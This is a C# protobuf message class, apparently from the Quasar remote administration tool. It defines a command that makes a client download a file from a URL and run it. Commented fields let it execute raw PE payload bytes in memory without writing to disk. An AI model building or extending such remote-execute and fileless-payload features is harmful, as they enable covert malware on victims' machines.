using ProtoBuf;

namespace Quasar.Common.Messages
{
    [ProtoContract]
    public class DoProcessStart : IMessage
    {
        [ProtoMember(1)]
        public string DownloadUrl { get; set; }

        [ProtoMember(2)]
        public string FilePath { get; set; }

        [ProtoMember(3)]
        public bool IsUpdate { get; set; }

        /// <summary>
        /// When true, execute the payload bytes in memory without writing to disk.
        /// </summary>
        [ProtoMember(4)]
        public bool ExecuteInMemory { get; set; }

        /// <summary>
        /// Raw PE bytes to execute in memory. Only set when ExecuteInMemory is true.
        /// </summary>
        [ProtoMember(5)]
        public byte[] Payload { get; set; }
    }
}
